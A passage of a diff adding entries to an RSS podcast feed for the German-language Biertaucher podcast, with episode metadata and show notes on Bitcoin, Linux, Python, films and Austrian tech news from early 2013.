+</li><li>0:33:57 Bitcoin Mining, Transaktionsgebüheren
+</li><li>0:39:15 Florians Rant: Wordpress installieren, Piwiki Traffic-Analyse
+</li><li>0:49:00 Mailserver, Graylisting, Spamfiler
+</li><li>0:56:00 Buchbesprechung (Horst): <a href="http://www.amazon.de/gp/product/3890293867/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3890293867&linkCode=as2&tag=spielendprogr-21">The longest Way zu Fuß durch China</a>((Amazon-Link))
+</li><li>1:00:46 Webitpp (Johnny): onthisday80yearsago.com on this day 80 years ago
+</li><li>1:03:03 Film und Torrent-Tip (Gregor): The Pirate Bay Away from Keyboard
+</li><li>1:07:37 Wikileaks Film Tom-scheid-berg ?
+</li><li>1:09:05 Religion: Papstrücktritt, Pastafari (Spahgettimonster), Japan, Votivkirchengegenbesetzung
+</li><li>1:13:14 Kino (Horst): Bowling (Willkommen in der Bretagne)
+</li><li>1:15:24 Film-Nicht-Empfehlung (Gregor): Robot and Frank ?
+</li><li>1:17:30 Film Empfehlung (Gregor): Misfits (1961)
+</li><li>1:19:08 Podcastempfehlung (Andreas): Truth about markets (aktuell: Pferdefleischskandal)
+</li><li>1:22:23 Balluch Blog, Hunde vegetarisch ernähren,
+</li><li>1:23:28 Dokumentation von ARTE: 1929 Dokumentation über Weltwirtschaftskrise
+</li><li>1:25:18 Buchempfehlung: Ãœberman von Tommy Jaud
+</li><li>1:27:15 Bitcoin-Kursentwicklung
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher091.mp3" length="63617665" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Biertaucher, Flattr, Bitcoin, Quick, Kreditkarte, NFC, Wordpress, Mailserver, Graylisting, The longest way, onthisday80yearsago, Religion, Kino, Misfits, Truth about markets, Balluch, Tierschutz </itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/db4aZ bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1137610/Biertaucher-Podcast-Folge-091
+</itunes:summary>
+<itunes:duration>1:28:21</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, Andrea Mayr, Juxx, Kinder, Linux, Distro, Zite, Kamera, Katzen, Bitcoin, Transparentgesetz, Medienbildung, Minecraft, Zeitschrifen, Slenderman,
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 090</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:090</link>
+ <pubDate>Wed, 06 Feb 2013 20:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher090.mp3</guid>
+ <atom:link rel="payment" href="http://flattr.com/thing/1125550/Biertaucher-Podcast-Folge-090" type="text/html"/>
+ <description>Gregor PRIDUN und Horst JENS plaudern über freie Software und andere Nerd-Themen. Interview: Andrea Mayr. Bitcoin-News: Andreas LEHRBAUM und Markus. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/KDPbp (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1125550/Biertaucher-Podcast-Folge-090
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/KDPbp">hier klicken um die Shownotes zur Folge 090</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> und <b>Horst JENS</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten. Interview: <b>Andrea MAYR</b>. Bitcoin-News: <b>Andreas LEHRBAUM</b> und <b>Markus</b><br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1125550/Biertaucher-Podcast-Folge-090" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:00:35 Begrüßung, Teaser Andrea Mayr, Juxx, Kindergärten
+</li><li>0:02:30 Horst war auf der Anti-WKR/Akademikerball-Demonstraation
+</li><li>0:06:10 Feedback von Jörg, dem Sponsor: <a href="https://play.google.com/store/apps/details?id=com.zite&hl=de">Zite</a>, eine "Hamsterapp"
+</li><li>0:10:12 Gregor versucht eine closed-Source Security Kamera per Linux zu benutzen
+</li><li>0:16:47 <a href="http://www.heise.de/tp/blogs/8/153669">Telepolis-Artikel</a> über Überwachungskamerazerstörung in Berlin
+</li><li>0:18:48 Katzenkameras, zu viele Katzen (Spiegel-Artikel)
+</li><li>0:21:09 NFC auf der Bankomatkarte
+</li><li>0:21:50 Teaser Bitcointreffen
+</li><li>0:23:06 Aufruf Petition unterschreiben: <a href="http://www.transparenzgesetz.at/">Transparenzgesetz.at</a>
+</li><li>0:24:12 Tim Berners-Lee <a href="http://www.zdnet.de/88142268/tim-berners-lee-warnt-vor-mobilgeraten-ohne-root-zugriff/">warnt vor Mobilgeräten ohne Root-Zugriff</a>
+</li><li>0:29:00 <a href="http://futurezone.at/digitallife/13861-zeichenfolge-laesst-mac-programme-abstuerzen.php">böse Zeichenfolge</a> lässt Apple Computer abstürzen
+</li><li>0:26:37 Probleme mit UEFI, Samung und Ubuntu
+</li><li>0:31:10 Medienbildung jetzt Konferenz, Minecraft für Schüler
+</li><li>0:34:11 Filmtipp: The Android mit Klaus Kinski, StarCrash
+</li><li>0:38:44 pdf Zeitschriften online lesen auf <a href="http://issuu.com/home">Issuu.com</a>, indische Linuxzeitschriften
+</li><li>0:40:40 Jugendrepoter Karim empfiehlt: <a href="http://www.chip.de/downloads/Slenderman-s-Shadow-Sanatorium_57404656.html">Slenderman</a>
+</li><li>0:44:43 Facebook-Mobbing
+</li><li>0:45:47 Interview mit Andrea Mayr über <a href="http://www.juxx.eu">www.Juxx.eu JUXX Linuxdistros für Kinder</a>
+</li><li>1:02:13 Bitcoin-News mit Andreas Lehrbaum und Markus, Bericht vom <a href="https://metalab.at/wiki/Bitcoin">Bitcointreffen</a> im Metalab, neuer Bitcoin-Client, spezielle Mining-Rechner
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher090.mp3" length="59541662" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Anti-WKR Ball Demo, JUXX, Bitcoinnews, Kamerahack, Katzenkamera, Star Crash, Slenderman u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/KDPbp bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1125550/Biertaucher-Podcast-Folge-090
+</itunes:summary>
+<itunes:duration>1:22:41</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, Andrea Mayr, Juxx, Kinder, Linux, Distro, Zite, Kamera, Katzen, Bitcoin, Transparentgesetz, Medienbildung, Minecraft, Zeitschrifen, Slenderman,
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 089</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:089</link>
+ <pubDate>Wed, 30 Jan 2013 14:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher089.mp3</guid>
+ <atom:link rel="payment" href="http://flattr.com/thing/1116827/Biertaucher-Podcast-Folge-089" type="text/html"/>
+ <description>Gregor PRIDUN, Horst JENS, Peter SCHLEINZER, Harald PICHLER und Christoph Schindler plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/0LYaO (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1116827/Biertaucher-Podcast-Folge-089
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/0LYaO">hier klicken um die Shownotes zur Folge 089</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Peter SCHLEINZER</b>, <b>Christoph Schindler</b> und Überraschungsgast <b>Harald PICHLER</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1116827/Biertaucher-Podcast-Folge-089" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:01:00 Worüber wir reden werden
+</li><li>0:02:00 <a href="http://pyug.at/hop">Hop</a> von der <a href="http://pyug.at">Python-User-Group-Austria</a> über das Pyugat-Treffen und <a href="http://de.wikipedia.org/wiki/OpenStack">Openstack</a>-Veranstaltungsankündigung
+</li><li>0:04:30 Peter vom <a href="http://podcast.smarter-home.at/">Smarter-Home-Podcast</a> berichtet über einen Workshop mit der deutschen Telekom, neue Telekom-Produkte, <a href="http://www.spotify.com/">Spotify</a> - Flatrate, fehlende <a href="http://de.wikipedia.org/wiki/Netzneutralit%C3%A4t">Netzneutralität</a>, Smart-Home-Markt, Haustechnik, <a href="http://de.wikipedia.org/wiki/Schlafphasenwecker">Schlafphasenwecker</a>, <a href="http://www.cebit.de/home">Cebit</a> Messe.
+</li><li>0:20:16 Peter ist begeistert vom <a href="http://www.themagpi.com/">MagPie Magazin</a> für den <a href="http://www.raspberrypi.org/">RasperryPi</a> und redet über seine <a href="http://www.amazon.de/gp/product/B002N2YZYU/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B002N2YZYU&linkCode=as2&tag=spielendprogr-21">Logitech Squeezebox</a>((Amazon-Link))
+</li><li>0:27:12 Wir erinnern uns nostalgisch an alte <a href="http://de.wikipedia.org/wiki/Nadeldrucker">Nadeldrucker</a> mit <a href="http://de.wikipedia.org/wiki/Endlosdruckpapier">Endlospapier</a>
+</li><li>0:28:46 Horst berichtet vom <a href="http://www.austriagamejam.org/">Austria Game Jam</a> ( Teil vom <a href="http://globalgamejam.org/">Global Game Jam</a>), siehe Interview am Ende dieses Podcasts
+</li><li>0:31:19 Hop erklärt <a href="http://brython.info/">Brython</a>, <a href="http://www.python.org">Python</a> im Browser (<a href="http://de.wikipedia.org/wiki/HTML5">HTML5</a> <a href="http://de.wikipedia.org/wiki/Javascript">Javascript</a>, <a href="http://coffeescript.org/">coffescript</a>)
+</li><li>0:38:29 <a href="http://harald.the-develop.net/the-develop-website/Autor.html">Harald</a> erzählt Neuigkeiten von <a href="http://www.osdomotics.com/">OSDomotics</a>, <a href="http://chemnitzer.linux-tage.de/2013/">Linuxtag Chemnitz</a>, Metasense, EdgeRouter 6lowPan, sehr viele technische Fachausdrücke, <a href="http://osdwiki.open-entry.com/doku.php/de:ideen:httpcoap-proxy">httpcoap-proxy</a> Lichtschalterutopien, RetroRadios,
+</li><li>0:51:08 Hop hört Podcasts en bloc und spricht über Iphone für Blinde, <a href="https://igw.tuwien.ac.at/designlehren/Site/Welcome.html">PETER PURGATHOFER</a>, Podcast, Broken_Rules
+</li><li>1:05:31 Wir geifern bierschaumschäumend über <a href="http://de.wikipedia.org/wiki/LiMux">LiMuxxgate</a>, <a href="http://www.heise.de/newsticker/meldung/LiMux-Details-zur-Microsoft-Studie-ueber-die-Linux-Migration-in-Muenchen-1792390.html">Linux in München</a>, Microsoft's <a href="http://de.wikipedia.org/wiki/Fear,_Uncertainty_and_Doubt">FUD</a> Kampagne, Harald philosophiert über Microsoft's Niedergang (<a href="http://de.wikipedia.org/wiki/Produktlebenszyklus">Produktlebenszyklus</a>), <a href="http://de.wikipedia.org/wiki/Chromebook">ChromeBooks</a>, Intel, AMD, <a href="http://www.technewsdaily.com/16514-unlocking-cellphones-becomes-illegal.html">Entsperren von Phones</a>
+</li><li>1:22:00 <a href="https://hacks.mozilla.org/2013/01/announcing-the-firefox-os-developer-preview-phone/">Keon open phone</a> ( <a href="http://www.mozilla.org/en-US/firefoxos/">Firefox OS</a> ) , neue <a href="http://wiki.openmoko.org/wiki/Main_Page">OpenMoko</a> basierte phones <a href="http://www.pro-linux.de/news/1/18005/gta04-offenes-smartphone-vorgestellt.html">prolinuxde-Artikel: goldendelicious</a>, phone mit fernsteuerung
+</li><li>1:29:00 kommt das Zeitalter der neuen Smartphone-Betriebssysteme ? Firefox-OS, <a href="http://www.ubuntu.com/devices/phone">Ubuntuphone</a>, Motorola-Mobile
+</li><li>1:34:00 Buchtipp: <a href="http://www.amazon.de/gp/product/3421045097/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3421045097&linkCode=as2&tag=spielendprogr-21">Nerd Attack!: Eine Geschichte der digitalen Welt vom C64 bis zu Twitter und Facebook - Ein SPIEGEL-Buch</a>((Amazon-Link)), <a href="http://ccc.de">Chaos Computer Club</a>, <a href="http://www.bookcrossing.com/">Bookcrossing</a>
+</li><li>1:39:43 Filmtipp: <a href="http://www.amazon.de/gp/product/B009TSA7PM/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B009TSA7PM&linkCode=as2&tag=spielendprogr-21">Searching For Sugar Man</a>((Amazon-Link)), <a href="http://helsinki.at/">Radio Helsinki</a> (Felix)
+</li><li>1:43:33 schöner leben: Neuer <a href="http://www.susannemachtsachen.net/2013/naturklug-32-veranderungen-durch-das-leben-am-land/">naturklug-Podcast</a> von Susanne Mandl, mit Flattr-Button, neue <a href="http://learningtown.geekandsundry.com/">Learning-Town</a> Folge von Paul-and Storm mit <a href="http://www.breshawebb.com/">Bresha Webb</a>, <a href="http://de.wikipedia.org/wiki/Flight_of_the_Conchords">Flight Of The Conchords</a>
+</li><li>1:45:45 Interview mit <a href="https://www.facebook.com/david.schwingenschlogl">David Schlingenschlögel</a>, Organisator vom Austria Game Jam 2013
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher089.mp3" length="87325981" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Nadeldrucker, Brython, Austria Game Jam, Searching for the Sugarman, Limuxgate u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/0LYaO bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1116827/Biertaucher-Podcast-Folge-089
+</itunes:summary>
+ <itunes:duration>2:01:17</itunes:duration>
+ <itunes:keywords>
+</itunes:keywords>
+ </item>
+
+
+ <item>
+ <title>Biertaucher Folge 088</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:088</link>
+ <pubDate>Wed, 23 Jan 2013 09:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher088.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:088&amp;title=Biertaucher%20Folge%20088&amp;language=de_DE&amp;tags=Biertaucher,Podcast,088,python,pyugat,openstack,paul_and_storm,learning_town,minecraft,django,kino,popcorn,stallman,pocket&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Horst JENS und Überraschungsgast Christoph Schindler (Hop) plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/huFyc (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1109613/Biertaucher-Podcast-Folge-088
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/huFyc">hier klicken um die Shownotes zur Folge 088</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, und Überraschungsgast <b>Christoph Schindler (Hop)</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1109613/Biertaucher-Podcast-Folge-088" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+<li>0:00:35 Horst und Gregor benörgeln das Ergebnis der <a href="http://de.wikipedia.org/wiki/Volksbefragung_zur_Wehrpflicht_in_%C3%96sterreich_2013">Bundesheer - Volksbefragung</a>
+</li><li>0:01:28 **Themenvorstellung**: worüber wir reden werden ( )
+</li><li>0:02:28 **Erratum**: wir korrigieren Unsinn der letzten Sendung
+</li><li>0:03:40 Neue Webvideoserie von <a href="http://geekandsundry.com/">Geek & Sundry</a>: <a href="http://www.paulandstorm.com/">Paul & Storm</a>'s <a href="http://learningtown.geekandsundry.com/">Learning Town</a> (mit <a href="http://www.breshawebb.com/">Bresha Webb</a> )
+</li><li>0:05:24 **Bericht**: Gregor war im technischen Museum Roboterausstellung anschauen: <a href="http://www.technischesmuseum.at/ausstellung/roboter">Mensch und Maschine</a>
+</li><li>0:11:54 Noch eine Webvideoserie von <a href="http://geekandsundry.com/">Geek & Sundry</a>: <a href="http://tabletop.geekandsundry.com/">TableTop</a> (Brettspiel-TV) von <a href="https://plus.google.com/+WilWheaton/posts">Wil Wheaton</a>
+</li><li>0:15:30 **Podcast**: <a href="http://cre.fm/cre199">ChaosradioExpress Folge 199</a> über Rogue und <a href="http://de.wikipedia.org/wiki/NetHack">Nethack</a>
+</li><li>0:16:20 <a href="http://getpocket.com/">Pocket</a> (read it later) und andere Apps für's Tablet
+</li><li>0:18:50 Horst scripted <a href="http://de.wikipedia.org/wiki/Google_Drive">Google Docs</a> mit <a href="https://developers.google.com/apps-script/?hl=de">Google App Script</a> am Google Drive
+</li><li>0:23:40 Meldung: <a href="http://stallman.org/">Richard Stallman</a> über Content Industrie und <a href="http://de.wikipedia.org/wiki/Fair_Use">FairUse</a>: <a href="https://popcorn.webmaker.org/">Popcornmaker</a> Anit-<a href="http://de.wikipedia.org/wiki/Stalker">Stalker</a> Aufklärungremixsvideo Meshup,
+ </li><ul><li><a href="http://www.rebelliouspixels.com/popupvideo/">Video</a>
+ </li><li><a href="http://www.techdirt.com/articles/20130110/01515121624/lionsgate-censors-remix-video-that-copyright-office-itself-used-as-example-fair-use.shtml">Techdirt</a> Artikel
+</li></ul><li>0:28:55 Ãœberraschungsgast Hop (Christoph) von der <a href="http://pyug.at/">PyUGAT Python-User-Group Austria</a>
+</li><li>0:33:00 Wiener Linien
+</li><li>0:35:20 Youtube-Kanäle
+</li><li>0:36:54 Hop ruft dazu auf zum nächsten PyUGAT Treffen im Metalab zu kommen, Coding Dojo, OpenStack
+</li><li>0:53:30 Meldung: Gute Lehrer braucht das Land: Minecraft im Schulunterricht:
+ </li><ul><li><a href="http://techland.time.com/2012/09/21/minecraftedu-teaches-students-through-virtual-world-building/">TimeTech Artikel</a>
+ </li><li><a href="http://futurezone.at/netzpolitik/13482-minecraft-schwedische-schule-setzt-auf-game.php">Futurezone Artikel</a>
+ </li><li><a href="http://minecraftedu.com/">Minecraftedu.com</a>
+</li></ul><li>0:59:00 Meldung: Kim Dotcom, Megaupload
+</li><li>1:02:58 Meldung: <a href="http://wien.orf.at/radio/stories/2568020/">200 Kontrolleure täglich bei Wiener Linien</a>, Schwarzfahrerquote
+</li><li>1:04:40 **Kino**: <a href="http://www.imdb.com/title/tt1853728/">Django Unchained</a>, Tarantino-Filme
+</li><li>1:13:18 schöner Fernsehen ( Serie ): <a href="http://en.wikipedia.org/wiki/Lilyhammer">Lillyhammer</a> (norwegisch! mit englischen Untertiteln)
+</li><li>1:16:53 **Bericht**: Hop hat Handyprovider gewechselt
+</li><li>1:26:00 Hop beantwortet uns Fragen über <a href="http://python.org">Python</a> Fragen:
+ </li><ul><li><a href="http://docs.python.org/3.0/whatsnew/3.0.html">Python2 vs Python3</a>
+ </li><li><a href="http://brython.info/index_en.html">Brython</a> statt Javascript
+ </li><li>Was ist <a href="http://pypy.org/">PyPy</a>
+</li></ul></ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher088.mp3" length="67154853" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst und Gregor benörgeln den Souverän, schauen fern und waren im Kino, Horst codet mit Google Script, Hop beantwortet Fragen über Python und PyPy, Stallman schreibt zum Thema Fair use (Anti-Stalker-Vampir-Remix-Video), Lehrer verwenden Minecraft uvm.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/huFyc bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1109613/Biertaucher-Podcast-Folge-088
+</itunes:summary>
+ <itunes:duration>1:33:16</itunes:duration>
+ <itunes:keywords>
+</itunes:keywords>
+ </item>
+
+ <item>
+ <title>Biertaucher Folge 087</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:087</link>
+ <pubDate>Wed, 16 Jan 2013 15:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher087.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:087&amp;title=Biertaucher%20Folge%20087&amp;language=de_DE&amp;tags=Biertaucher,Podcast,087,Scientology,Metaday,Metalab,Spagettimonster,WienerLinien,CreateCamp,Zeitschrift,Making_Games,Kickstarter,Linux,OpenSource,Games,Compiz,Wayland,Aaron_Schwarz,Anonymous,Kreditkartennummern,Rollenspiel,Paranoia,Bierempfehlung,VGHS,Torque3D,Indiegogo,Gamestick,Naturklug,Susanne_Mandl,Radio_Helsiniki,Headroom,Kino,7Psychopaths,Broadwalk_Empire,TV,War_on_Drugs,Mike_Supanic,BreakingtheTaboo,Stermann,Grissemann,Russkaja,Maschek,evernote&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Horst JENS, und Überraschungsgast Hop plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/yfPsW (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1102419/Biertaucher-Podcast-Folge-087
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/yfPsW">hier klicken um die Shownotes zur Folge 087</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Thomas KRONSTEINER</b>, und <b>FLorian SCHWEIKERT</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1102419/Biertaucher-Podcast-Folge-087" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:01:05 Worüber wir reden werden (Inhalt der Sendung), <a href="https://flattr.com">Flattr</a>-Einnahmen
+</li><li>0:03:30 Florian berichtet über den <a href="https://metalab.at/wiki/Metaday_56">Metaday 56</a> im <a href="http://metalab.at">Wiener Metalab</a>: <a href="http://de.wikipedia.org/wiki/Niko_Alm">Niko Alm</a> (Spagettimonsterführerscheinfoto) und <a href="http://www.wilfriedhandl.com/">Wilfred Handl</a> (Ex Boss von Scientology Österreich und Scientology Aussteiger) sprachen u.a. über Religion
+</li><li>0:12:33 Ankündigung: <a href="https://metalab.at/wiki/CryptoParty">Cryptoparty im Metalab</a>
+</li><li>0:17:41 Wiener Linien SMS Ticket
+</li><li>0:20:30 Florian berichtet vom <a href="http://futurezone.at/netzpolitik/13472-wiener-linien-testen-datenfreigabe.php">Create-Camp der Wiener Linien</a>
+</li><li>0:35:23 Horst hat ein Probe-Exemplar der Zeitschrift <a href="http://www.makinggames.de/">Making Games</a> gelesen ( Schwerpunkt <a href="http://www.kickstarter.com/">Kickstarter</a> )
+</li><li>0:45:03 Meldung: Illumi-Room von Microsoft
+</li><li>0:47:30 Meldung: <a href="http://derstandard.at/1356427056912/Kein-Compiz-fuer-Xorg-Nachfolger-Wayland">Kein Compiz (Grafikeffekte) für Wayland ( X-Nachfolger )</a>
+</li><li>0:52:14 Meldung: Nachruf auf Aaron Schwarz
+</li><li>0:54:14 Meldung: <a href="http://futurezone.at/netzpolitik/13453-anonymous-kreditkarten-von-ministern-im-netz.php">Anonyomous Österreich veröffentlicht Kreditkartennummern</a> von österr. Politikern
+</li><li>0:55:55 Gregor berichtet vom <a href="http://de.wikipedia.org/wiki/Paranoia_(Rollenspiel)">Pen und Paper Rollenspiel Paranoia</a> und hat versagt beim Würfelkaufen im Rollenspieler-Fachgeschäft
+</li><li>1:03:37 Florians Bier(brauerei)empfehlung aus Hamburg: <a href="http://www.groeninger-hamburg.de/index.php/haupt-menu/home/">Gröninger</a>
+</li><li>1:07:00 Thomas hat einst in in der <a href="http://de.wikipedia.org/wiki/Brauerei_G%C3%B6ss">Brauerei Göss</a> gearbeitet
+</li><li>1:10:50 Horst hat viele interessante Projekte auf Kickstarter und Indiegogo gefunden: <a href="http://www.kickstarter.com/projects/freddiew/video-game-high-school-season-two">Video Games Highschool</a> (Web-TV Serie), <a href="http://www.indiegogo.com/torque3d-for-linux">Torque 3D Engine für Linux</a>, <a href="http://www.kickstarter.com/projects/872297630/gamestick-the-most-portable-tv-games-console-ever">portable Gamestick</a>, <a href="http://www.kickstarter.com/projects/gcw/gcw-zero-open-source-gaming-handheld?ref=discover_pop">linux-gaming-handheld</a>
+</li><li>1:14:00 Podcastbelauschung: <a href="http://www.susannemachtsachen.net/">Susanne Mandl</a> hat eine neue Folge vom Naturklug-Podcast veröffentlicht
+</li><li>1:16:00 Felix Bally (siehe <a href="http://spielend-programmieren.at/de:podcast:biertaucher:2012:080">Biertaucher Folge 80</a>) hat auf Radio Helsinki eine eigene Sendung: <a href="http://helsinki.at/programm/shows/headroom">Headroom</a>
+</li><li>1:18:02 Thomas liest eine Meldung aus dubiosen Quellen vor: Apple verliert bei Teens Coolness gegen Microsoft
+</li><li>1:24:00 Kino: Horst war nicht sehr begeistert von <a href="http://www.amazon.de/gp/product/B00AEJO29C/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00AEJO29C&linkCode=as2&tag=spielendprogr-21">7 Psychopaths</a> (Amazon-Link)
+</li><li>1:27:54 TV: Gregor empfiehlt <a href="http://www.amazon.de/gp/product/B007AQ1LHS/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B007AQ1LHS&linkCode=as2&tag=spielendprogr-21">Broadwalk Empire</a> (Amazon-Link)
+</li><li>1:30:00 Konzert: Thomas empfiehlt Kabarettkonzert von Mike Supanic
+</li><li>1:31:07 Politik: Avaaz Kampagne gegen <a href="http://breakingthetaboo.info/">WarOnDrugs</a>, gute Dokumentation auf Youtube: Breaking_the_Taboo
+</li><li>1:33:47 TV Thomas mache eine ORF-Empfehlung: Jahresrückblick von Stermann und Grissemann <a href="http://tvthek.orf.at/programs/1309549-Willkommen-Oesterreich">"Wilkommen Österreich"</a>, Maschek, <a href="http://www.russkaja.com/">Ruskaia</a>. Außerdem: Staatskünstler
+</li><li>1:36:60 App-Empfehlung von Gregor: <a href="http://de.wikipedia.org/wiki/Evernote">Evernote</a>
+</li><li>1:37:00 App-Empfehlung von Thomas: Videoicous
+</li><li>1:39:50 Buchtipp: Garip verkauft auf Nachfrage in der Zypresse das 2sprachige Kochbuch: <a href="http://www.amazon.de/gp/product/3922825117/ref=as_li_ss_tl?ie=UTF8&camp=1638&
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher087.mp3" length="72230549" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Florian erzählt vom 29C3 und gibt Reisetipps, Peter hatte ein nettes Supporterlebnis und fährt Elektroauto, Horst hat „Isch geh Schulhof“ und „Bilal - als Illegaler auf dem Weg nach Europa“ gelesen und Gregor hat ein offline (!) Rollenspiel gespielt</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/yfPsW bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1102419/Biertaucher-Podcast-Folge-087
+</itunes:summary>
+
+ <itunes:duration>1:40:19</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 087, Scientology, Metalab, Spagettimonster, Nudelsieb, SMS Ticket, Wiener Linien, Create Camp, Zeitschrift, Making Games,VGHS, Torque3D, Indiegogo, Kickstarter, Gamestick, Naturklug, Susanne Mandl,7Psychos
+</itunes:keywords>
+ </item>
+
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 086</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:086</link>
+ <pubDate>Wed, 9 Jan 2013 23:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher086.mp3</guid>
